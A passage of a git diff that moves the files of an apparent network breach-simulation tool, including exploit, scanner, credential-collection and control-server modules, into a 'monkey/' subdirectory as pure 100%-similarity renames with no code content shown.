0 .../infection_monkey}/exploit/smbexec.py | 0 .../infection_monkey}/exploit/sshexec.py | 0 .../infection_monkey}/exploit/tools.py | 0 .../infection_monkey}/exploit/win_ms08_067.py | 0 .../infection_monkey}/exploit/wmiexec.py | 0 .../infection_monkey}/main.py | 0 .../infection_monkey}/model/__init__.py | 0 .../infection_monkey}/model/host.py | 0 .../infection_monkey}/monkey-linux.spec | 0 .../infection_monkey}/monkey.ico | Bin .../infection_monkey}/monkey.py | 0 .../infection_monkey}/monkey.spec | 0 .../monkey_utils/sambacry_monkey_runner/build.sh | 0 .../sambacry_monkey_runner/sc_monkey_runner.c | 0 .../sambacry_monkey_runner/sc_monkey_runner.h | 0 .../infection_monkey}/monkeyfs.py | 0 .../infection_monkey}/network/__init__.py | 0 .../infection_monkey}/network/elasticfinger.py | 0 .../infection_monkey}/network/firewall.py | 0 .../infection_monkey}/network/httpfinger.py | 0 .../infection_monkey}/network/info.py | 0 .../infection_monkey}/network/mysqlfinger.py | 0 .../infection_monkey}/network/network_scanner.py | 0 .../infection_monkey}/network/ping_scanner.py | 0 .../infection_monkey}/network/smbfinger.py | 0 .../infection_monkey}/network/sshfinger.py | 0 .../infection_monkey}/network/tcp_scanner.py | 0 .../infection_monkey}/network/tools.py | 0 .../infection_monkey}/readme.txt | 0 .../infection_monkey}/requirements.txt | 0 .../infection_monkey}/system_info/__init__.py | 0 .../system_info/azure_cred_collector.py | 0 .../system_info/linux_info_collector.py | 0 .../system_info/mimikatz_collector.py | 0 .../system_info/windows_info_collector.py | 0 .../infection_monkey}/system_singleton.py | 0 .../infection_monkey}/test/__init__.py | 0 .../infection_monkey}/test/config__test.py | 0 .../infection_monkey}/transport/__init__.py | 0 .../infection_monkey}/transport/base.py | 0 .../infection_monkey}/transport/ftp.py | 0 .../infection_monkey}/transport/http.py | 0 .../infection_monkey}/transport/tcp.py | 0 .../infection_monkey}/tunnel.py | 0 .../infection_monkey}/utils.py | 0 .../infection_monkey}/windows_upgrader.py | 0 {monkey_island => monkey/monkey_island}/__init__.py | 0 .../monkey_island}/cc/__init__.py | 0 {monkey_island => monkey/monkey_island}/cc/app.py | 0 {monkey_island => monkey/monkey_island}/cc/auth.py | 0 .../monkey_island}/cc/binaries/.gitignore | 0 .../monkey_island}/cc/database.py | 0 .../monkey_island}/cc/encryptor.py | 0 .../monkey_island}/cc/environment/__init__.py | 0 .../monkey_island}/cc/environment/aws.py | 0 .../monkey_island}/cc/environment/environment.py | 0 .../monkey_island}/cc/environment/standard.py | 0 {monkey_island => monkey/monkey_island}/cc/main.py | 0 .../monkey_island}/cc/resources/__init__.py | 0 .../monkey_island}/cc/resources/client_run.py | 0 .../monkey_island}/cc/resources/edge.py | 0 .../monkey_island}/cc/resources/local_run.py | 0 .../monkey_island}/cc/resources/log.py | 0 .../monkey_island}/cc/resources/monkey.py | 0 .../cc/resources/monkey_configuration.py | 0 .../monkey_island}/cc/resources/monkey_download.py | 0 .../monkey_island}/cc/resources/netmap.py | 0 .../monkey_island}/cc/resources/node.py | 0 .../monkey_island}/cc/resources/report.py | 0 .../monkey_island}/cc/resources/root.py | 0 .../monkey_island}/cc/resources/telemetry.py | 0 .../monkey_island}/cc/resources/telemetry_feed.py | 0 .../monkey_island}/cc/server_config.json | 0 .../monkey_island}/cc/services/__init__.py | 0 .../monkey_island}/cc/services/config.py | 0 .../monkey_island}/cc/services/edge.py | 0 .../monkey_island}/cc/services/log.py | 0 .../monkey_island}/cc/services/node.py | 0 .../monkey_island}/cc/services/report.py | 0 .../monkey_island}/cc/ui/.babelrc | 0 .../monkey_island}/cc/ui/.editorconfig | 0 .../monkey_island}/cc/ui/.eslintrc | 0 .../monkey_island}/cc/ui/.gitignore | 0 .../monkey_island}/cc/ui/.yo-rc.json | 0 .../monkey_island}/cc/ui/cfg/base.js | 0 .../monkey_island}/cc/ui/cfg/defaults.js | 0 .../monkey_island}/cc/ui/cfg/dev.js | 0 .../monkey_island}/cc/ui/cfg/dist.js | 0 .../monkey_island}/cc/ui/cfg/test.js | 0 .../monkey_island}/cc/ui/karma.conf.js | 0 .../monkey_island}/cc/ui/package-lock.json | 0 .../monkey_island}/cc/ui/package.json | 0 .../monkey_island}/cc/ui/server.js | 0 .../cc/ui/src/components/AuthComponent.js | 0 .../monkey_island}/cc/ui/src/components/Main.js | 0 .../cc/ui/src/components/map/MapOptions.js | 0 .../src/components/map/preview-pane/PreviewPane.js | 0 .../cc/ui/src/components/pages/ConfigurePage.js | 0 .../cc/ui/src/components/pages/LicensePage.js | 0 .../cc/ui/src/components/pages/LoginPage.js | 0 .../cc/ui/src/components/pages/MapPage.js | 0 .../cc/ui/src/components/pages/ReportPage.js | 0 .../cc/ui/src/components/pages/RunMonkeyPage.js | 0 .../cc/ui/src/components/pages/RunServerPage.js | 0 .../cc/ui/src/components/pages/StartOverPage.js | 0 .../cc/ui/src/components/pages/TelemetryPage.js | 0 .../src/components/reactive-graph/ReactiveGraph.js | 0 .../components/report-components/BreachedServers.js | 0 .../components/report-components/CollapsibleWell.js | 0 .../components/report-components/ScannedServers.js | 0 .../components/report-components/StolenPasswords.js | 0 .../monkey_island}/cc/ui/src/config/README.md | 0 .../monkey_island}/cc/ui/src/config/base.js | 0 .../monkey_island}/cc/ui/src/config/dev.js | 0 .../monkey_island}/cc/ui/src/config/dist.js | 0 .../monkey_island}/cc/ui/src/config/test.js | 0 .../monkey_island}/cc/ui/src/favicon.ico | Bin .../cc/ui/src/images/guardicore-logo.png | Bin .../cc/ui/src/images/infection-monkey.svg | 0 .../monkey_island}/cc/ui/src/images/monkey-icon.svg | 0 .../cc/ui/src/images/nodes/clean_linux.png | Bin .../cc/ui/src/images/nodes/clean_unknown.png | Bin .../cc/ui/src/images/nodes/clean_windows.png | Bin .../cc/ui/src/images/nodes/exploited_linux.png | Bin .../cc/ui/src/images/nodes/exploited_windows.png | Bin .../cc/ui/src/images/nodes/island.png | Bin .../cc/ui/src/images/nodes/island_monkey_linux.png | Bin .../images/nodes/island_monkey_linux_running.png | Bin .../ui/src/images/nodes/island_monkey_windows.png | Bin .../images/nodes/island_monkey_windows_running.png | Bin .../cc/ui/src/images/nodes/manual_linux.png | Bin .../cc/ui/src/images/nodes/manual_linux_running.png | Bin .../cc/ui/src/images/nodes/manual_windows.png | Bin .../ui/src/images/nodes/manual_windows_running.png | Bin .../cc/ui/src/images/nodes/monkey_linux.png | Bin .../cc/ui/src/images/nodes/monkey_linux_running.png | Bin .../cc/ui/src/images/nodes/monkey_windows.png | Bin .../ui/src/images/nodes/monkey_windows_running.png | Bin .../monkey_island}/cc/ui/src/index.html | 0 .../monkey_island}/cc/ui/src/index.js | 0 .../cc/ui/src/server_config/AwsConfig.js | 0 .../cc/ui/src/server_config/BaseConfig.js | 0 .../cc/ui/src/server_config/ServerConfig.js | 0 .../cc/ui/src/server_config/StandardConfig.js | 0 .../cc/ui/src/services/AuthService.js | 0 .../monkey_island}/cc/ui/src/styles/App.css | 0 .../monkey_island}/cc/ui/webpack.config.js | 0 {monkey_island => monkey/monkey_island}/cc/utils.py | 0 .../monkey_island}/deb-package/DEBIAN/control | 0 .../monkey_island}/deb-package/DEBIAN/postinst | 0 .../monkey_island}/deb-package/DEBIAN/prerm | 0 .../deb-package/monkey_island_pip_requirements.txt | 0 .../monkey_island}/linux/clear_db.sh | 0 .../monkey_island}/linux/create_certificate.sh | 0 .../monkey_island}/linux/install.sh | 0 .../monkey_island}/linux/monkey.sh | 0 .../monkey_island}/linux/run.sh | 0 .../monkey_island}/linux/ubuntu/monkey-island.conf | 0 .../monkey_island}/linux/ubuntu/monkey-mongo.conf | 0 .../linux/ubuntu/systemd/monkey-island.service | 0 .../linux/ubuntu/systemd/monkey-mongo.service | 0 .../linux/ubuntu/systemd/start_server.sh | 0 {monkey_island => monkey/monkey_island}/readme.txt | 0 .../monkey_island}/requirements.txt | 0 .../monkey_island}/windows/clear_db.bat | 0 .../windows/copyShortcutOnDesktop.bat | 0 .../monkey_island}/windows/create_certificate.bat | 0 .../monkey_island}/windows/openssl.cfg | 0 .../windows/removeShortcutFromDesktop.bat | 0 .../monkey_island}/windows/run_cc.bat | 0 .../monkey_island}/windows/run_mongodb.bat | 0 .../monkey_island}/windows/run_server.bat | 0 189 files changed, 0 insertions(+), 0 deletions(-) rename __init__.py => monkey/__init__.py (100%) rename {common => monkey/common}/__init__.py (100%) rename {common => monkey/common}/network/__init__.py (100%) rename {common => monkey/common}/network/network_range.py (100%) rename {infection_monkey => monkey/infection_monkey}/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/build_linux.sh (100%) rename {infection_monkey => monkey/infection_monkey}/build_windows.bat (100%) rename {infection_monkey => monkey/infection_monkey}/config.py (100%) rename {infection_monkey => monkey/infection_monkey}/control.py (100%) rename {infection_monkey => monkey/infection_monkey}/dropper.py (100%) rename {infection_monkey => monkey/infection_monkey}/example.conf (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/elasticgroovy.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/rdpgrinder.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/sambacry.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/shellshock.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/shellshock_resources.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/smbexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/sshexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/tools.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/win_ms08_067.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/wmiexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/main.py (100%) rename {infection_monkey => monkey/infection_monkey}/model/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/model/host.py (100%) rename {infection_monkey => monkey/infection_monkey}/monkey-linux.spec (100%) rename {infection_monkey => monkey/infection_monkey}/monkey.ico (100%) rename {infection_monkey => monkey/infection_monkey}/monkey.py (100%) rename {infection_monkey => monkey/infection_monkey}/monkey.spec (100%) rename {infection_monkey => monkey/infection_monkey}/monkey_utils/sambacry_monkey_runner/build.sh (100%) rename {infection_monkey => monkey/infection_monkey}/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c (100%) rename {infection_monkey => monkey/infection_monkey}/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h (100%) rename {infection_monkey => monkey/infection_monkey}/monkeyfs.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/elasticfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/firewall.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/httpfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/info.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/mysqlfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/network_scanner.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/ping_scanner.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/smbfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/sshfinger.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/tcp_scanner.py (100%) rename {infection_monkey => monkey/infection_monkey}/network/tools.py (100%) rename {infection_monkey => monkey/infection_monkey}/readme.txt (100%) rename {infection_monkey => monkey/infection_monkey}/requirements.txt (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/azure_cred_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/linux_info_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/mimikatz_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_info/windows_info_collector.py (100%) rename {infection_monkey => monkey/infection_monkey}/system_singleton.py (100%) rename {infection_monkey => monkey/infection_monkey}/test/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/test/config__test.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/__init__.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/base.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/ftp.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/http.py (100%) rename {infection_monkey => monkey/infection_monkey}/transport/tcp.py (100%) rename {infection_monkey => monkey/infection_monkey}/tunnel.py (100%) rename {infection_monkey => monkey/infection_monkey}/utils.py (100%) rename {infection_monkey => monkey/infection_monkey}/windows_upgrader.py (100%) rename {monkey_island => monkey/monkey_island}/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/app.py (100%) rename {monkey_island => monkey/monkey_island}/cc/auth.py (100%) rename {monkey_island => monkey/monkey_island}/cc/binaries/.gitignore (100%) rename {monkey_island => monkey/monkey_island}/cc/database.py (100%) rename {monkey_island => monkey/monkey_island}/cc/encryptor.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/aws.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/environment.py (100%) rename {monkey_island => monkey/monkey_island}/cc/environment/standard.py (100%) rename {monkey_island => monkey/monkey_island}/cc/main.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/client_run.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/edge.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/local_run.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/log.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/monkey.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/monkey_configuration.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/monkey_download.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/netmap.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/node.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/report.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/root.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/telemetry.py (100%) rename {monkey_island => monkey/monkey_island}/cc/resources/telemetry_feed.py (100%) rename {monkey_island => monkey/monkey_island}/cc/server_config.json (100%) rename {monkey_island => monkey/monkey_island}/cc/services/__init__.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/config.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/edge.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/log.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/node.py (100%) rename {monkey_island => monkey/monkey_island}/cc/services/report.py (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.babelrc (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.editorconfig (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.eslintrc (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.gitignore (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/.yo-rc.json (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/base.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/defaults.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/dev.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/dist.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/cfg/test.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/karma.conf.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/package-lock.json (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/package.json (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/server.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/AuthComponent.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/Main.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/map/MapOptions.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/map/preview-pane/PreviewPane.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/ConfigurePage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/LicensePage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/LoginPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/MapPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/ReportPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/RunMonkeyPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/RunServerPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/StartOverPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/pages/TelemetryPage.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/reactive-graph/ReactiveGraph.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/BreachedServers.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/CollapsibleWell.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/ScannedServers.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/components/report-components/StolenPasswords.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/README.md (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/base.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/dev.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/dist.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/config/test.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/favicon.ico (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/guardicore-logo.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/infection-monkey.svg (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/monkey-icon.svg (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/clean_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/clean_unknown.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/clean_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/exploited_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/exploited_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_linux_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/island_monkey_windows_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_linux_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/manual_windows_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_linux.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_linux_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_windows.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/images/nodes/monkey_windows_running.png (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/index.html (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/index.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/AwsConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/BaseConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/ServerConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/server_config/StandardConfig.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/services/AuthService.js (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/src/styles/App.css (100%) rename {monkey_island => monkey/monkey_island}/cc/ui/webpack.config.js (100%) rename {monkey_island => monkey/monkey_island}/cc/utils.py (100%) rename {monkey_island => monkey/monkey_island}/deb-package/DEBIAN/control (100%) rename {monkey_island => monkey/monkey_island}/deb-package/DEBIAN/postinst (100%) rename {monkey_island => monkey/monkey_island}/deb-package/DEBIAN/prerm (100%) rename {monkey_island => monkey/monkey_island}/deb-package/monkey_island_pip_requirements.txt (100%) rename {monkey_island => monkey/monkey_island}/linux/clear_db.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/create_certificate.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/install.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/monkey.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/run.sh (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/monkey-island.conf (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/monkey-mongo.conf (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/systemd/monkey-island.service (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/systemd/monkey-mongo.service (100%) rename {monkey_island => monkey/monkey_island}/linux/ubuntu/systemd/start_server.sh (100%) rename {monkey_island => monkey/monkey_island}/readme.txt (100%) rename {monkey_island => monkey/monkey_island}/requirements.txt (100%) rename {monkey_island => monkey/monkey_island}/windows/clear_db.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/copyShortcutOnDesktop.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/create_certificate.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/openssl.cfg (100%) rename {monkey_island => monkey/monkey_island}/windows/removeShortcutFromDesktop.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/run_cc.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/run_mongodb.bat (100%) rename {monkey_island => monkey/monkey_island}/windows/run_server.bat (100%) diff --git a/__init__.py b/monkey/__init__.py similarity index 100% rename from __init__.py rename to monkey/__init__.py diff --git a/common/__init__.py b/monkey/common/__init__.py similarity index 100% rename from common/__init__.py rename to monkey/common/__init__.py diff --git a/common/network/__init__.py b/monkey/common/network/__init__.py similarity index 100% rename from common/network/__init__.py rename to monkey/common/network/__init__.py diff --git a/common/network/network_range.py b/monkey/common/network/network_range.py similarity index 100% rename from common/network/network_range.py rename to monkey/common/network/network_range.py diff --git a/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py similarity index 100% rename from infection_monkey/__init__.py rename to monkey/infection_monkey/__init__.py diff --git a/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh similarity index 100% rename from infection_monkey/build_linux.sh rename to monkey/infection_monkey/build_linux.sh diff --git a/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat similarity index 100% rename from infection_monkey/build_windows.bat rename to monkey/infection_monkey/build_windows.bat diff --git a/infection_monkey/config.py b/monkey/infection_monkey/config.py similarity index 100% rename from infection_monkey/config.py rename to monkey/infection_monkey/config.py diff --git a/infection_monkey/control.py b/monkey/infection_monkey/control.py similarity index 100% rename from infection_monkey/control.py rename to monkey/infection_monkey/control.py diff --git a/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py similarity index 100% rename from infection_monkey/dropper.py rename to monkey/infection_monkey/dropper.py diff --git a/infection_monkey/example.conf b/monkey/infection_monkey/example.conf similarity index 100% rename from infection_monkey/example.conf rename to monkey/infection_monkey/example.conf diff --git a/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py similarity index 100% rename from infection_monkey/exploit/__init__.py rename to monkey/infection_monkey/exploit/__init__.py diff --git a/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py similarity index 100% rename from infection_monkey/exploit/elasticgroovy.py rename to monkey/infection_monkey/exploit/elasticgroovy.py diff --git a/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py similarity index 100% rename from infection_monkey/exploit/rdpgrinder.py rename to monkey/infection_monkey/exploit/rdpgrinder.py diff --git a/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py similarity index 100% rename from infection_monkey/exploit/sambacry.py rename to monkey/infection_monkey/exploit/sambacry.py diff --git a/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py similarity index 100% rename from infection_monkey/exploit/shellshock.py rename to monkey/infection_monkey/exploit/shellshock.py diff --git a/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py similarity index 100% rename from infection_monkey/exploit/shellshock_resources.py rename to monkey/infection_monkey/exploit/shellshock_resources.py diff --git a/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py similarity index 100% rename from infection_monkey/exploit/smbexec.py rename to monkey/infection_monkey/exploit/smbexec.py diff --git a/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py similarity index 100% rename from infection_monkey/exploit/sshexec.py rename to monkey/infection_monkey/exploit/sshexec.py diff --git a/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py similarity index 100% rename from infection_monkey/exploit/tools.py rename to monkey/infection_monkey/exploit/tools.py diff --git a/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py similarity index 100% rename from infection_monkey/exploit/win_ms08_067.py rename to monkey/infection_monkey/exploit/win_ms08_067.py diff --git a/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py similarity index 100% rename from infection_monkey/exploit/wmiexec.py rename to monkey/infection_monkey/exploit/wmiexec.py diff --git a/infection_monkey/main.py b/monkey/infection_monkey/main.py similarity index 100% rename from infection_monkey/main.py rename to monkey/infection_monkey/main.py diff --git a/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py similarity index 100% rename from infection_monkey/model/__init__.py rename to monkey/infection_monkey/model/__init__.py diff --git a/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py similarity index 100% rename from infection_monkey/model/host.py rename to monkey/infection_monkey/model/host.py diff --git a/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec similarity index 100% rename from infection_monkey/monkey-linux.spec rename to monkey/infection_monkey/monkey-linux.spec diff --git a/infection_monkey/monkey.ico b/monkey/infection_monkey/monkey.ico similarity index 100% rename from infection_monkey/monkey.ico rename to monkey/infection_monkey/monkey.ico diff --git a/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py similarity index 100% rename from infection_monkey/monkey.py rename to monkey/infection_monkey/monkey.py diff --git a/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec similarity index 100% rename from infection_monkey/monkey.spec rename to monkey/infection_monkey/monkey.spec diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py similarity index 100% rename from infection_monkey/monkeyfs.py rename to monkey/infection_monkey/monkeyfs.py diff --git a/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py similarity index 100% rename from infection_monkey/network/__init__.py rename to monkey/infection_monkey/network/__init__.py diff --git a/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py similarity index 100% rename from infection_monkey/network/elasticfinger.py rename to monkey/infection_monkey/network/elasticfinger.py diff --git a/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py similarity index 100% rename from infection_monkey/network/firewall.py rename to monkey/infection_monkey/network/firewall.py diff --git a/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py similarity index 100% rename from infection_monkey/network/httpfinger.py rename to monkey/infection_monkey/network/httpfinger.py diff --git a/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py similarity index 100% rename from infection_monkey/network/info.py rename to monkey/infection_monkey/network/info.py diff --git a/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py similarity index 100% rename from infection_monkey/network/mysqlfinger.py rename to monkey/infection_monkey/network/mysqlfinger.py diff --git a/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py similarity index 100% rename from infection_monkey/network/network_scanner.py rename to monkey/infection_monkey/network/network_scanner.py diff --git a/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py similarity index 100% rename from infection_monkey/network/ping_scanner.py rename 